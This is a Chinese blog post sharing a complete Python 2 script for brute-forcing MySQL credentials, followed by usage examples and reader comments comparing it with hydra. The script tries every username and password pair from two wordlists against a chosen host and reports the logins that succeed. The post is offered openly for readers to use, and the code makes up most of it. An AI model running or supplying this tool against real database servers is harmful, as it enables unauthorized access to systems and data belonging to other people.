正在阅读:

[Python]MySQL暴力破解工具单线程版

8,890

之前写了一个python ftp暴力破解工具,发到习科上面了,结果好多人说要我写一个mysql和mssql的工具,最近实在忙一直没有时间写,昨天晚上折腾了一个单线程版本的,先发出来给大家玩一下,这个工具在键盘中止异常方面处理的有问题,不知道是怎么回事,老是捕获不了ctrl+c异常,希望哪位兄弟帮我改进一下。。。

代码写的比较简洁,文件读取部分异常处理没有写,所以在使用本工具前,请确保脚本同目录下存在user.txt,pass.txt两个文件

#!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: utf-8 -*-
# Date: 2014/11/10
# Created by 独自等待
# 博客 http://www.waitalone.cn/
import os, sys, re, socket, time

try:
    import MySQLdb
except ImportError:
    print '\n[!] MySQLdb模块导入错误,请到下面网址下载:'
    print '[!] http://www.codegood.com/archives/129'
    exit()

def usage():
    print '+' + '-' * 50 + '+'
    print '\t   Python MySQL暴力破解工具单线程版'
    print '\t   Blog:http://www.waitalone.cn/'
    print '\t\t Code BY: 独自等待'
    print '\t\t Time:2014-11-10'
    print '+' + '-' * 50 + '+'
    if len(sys.argv) != 6:
        print "用法: " + os.path.basename(sys.argv[0]) + " 待破解的ip/domain 端口 数据库 用户名列表 密码列表"
        print "实例: " + os.path.basename(sys.argv[0]) + " www.waitalone.cn  3306  test user.txt pass.txt"
        sys.exit()


def mysql_brute(user, password):
    "mysql数据库破解函数"
    db = None
    try:
        # print "user:", user, "password:", password
        db = MySQLdb.connect(host=host, user=user, passwd=password, db=sys.argv[3], port=int(sys.argv[2]))
        # print '[+] 破解成功:', user, password
        result.append('用户名:' + user + "\t密码:" + password)
    except KeyboardInterrupt:
        print '大爷,按您的吩咐,已成功退出程序!'
        exit()
    except MySQLdb.Error, msg:
        # print '未知错误大爷:', msg
        pass
    finally:
        if db:
            db.close()


if __name__ == '__main__':
    usage()
    start_time = time.time()
    if re.match(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', sys.argv[1]):
        host = sys.argv[1]
    else:
        host = socket.gethostbyname(sys.argv[1])
    userlist = [i.rstrip() for i in open(sys.argv[4])]
    passlist = [j.rstrip() for j in open(sys.argv[5])]
    print '\n[+] 目  标:%s \n' % sys.argv[1]
    print '[+] 用户名:%d 条\n' % len(userlist)
    print '[+] 密  码:%d 条\n' % len(passlist)
    print '[!] 密码破解中,请稍候……\n'
    result = []
    for x in userlist:
        for j in passlist:
            mysql_brute(x, j)
    if len(result) != 0:
        print '[+] 恭喜大爷,MySQL密码破解成功!\n'
        for x in {}.fromkeys(result).keys():
            print x + '\n'
    else:
        print '[-] 杯具了大爷,MySQL密码破解失败!\n'
    print '[+] 破解完成,用时: %d 秒' % (time.time() - start_time)

python破解mysql密码


用法: mysqlbrute.py 待破解的ip/domain 端口 数据库 用户名列表 密码列表
实例: mysqlbrute.py www.waitalone.cn 3306 test user.txt pass.txt

目前有:3条访客评论,博主回复2

  1. aftroon
    2014-11-18 11:48

    怎么下载啊

    • 独自等待
      2014-11-18 21:01

      直接复制上面的代码,然后保存到txt文件中,重命名为xx.py就行了。

      • 宝宝
        2015-04-01 22:39

        @独自等待:不行额,试过了。而且安装了PYTHON

  2. 流年
    2017-11-13 23:21

    这个和hydra九头蛇的功能 哪个好

    • 独自等待
      2017-11-20 12:04

      应该是hydra比较好,脚本执行效率没有那个高。

留下脚印,证明你来过。

*

*

流汗坏笑撇嘴大兵流泪发呆抠鼻吓到偷笑得意呲牙亲亲疑问调皮可爱白眼难过愤怒惊讶鼓掌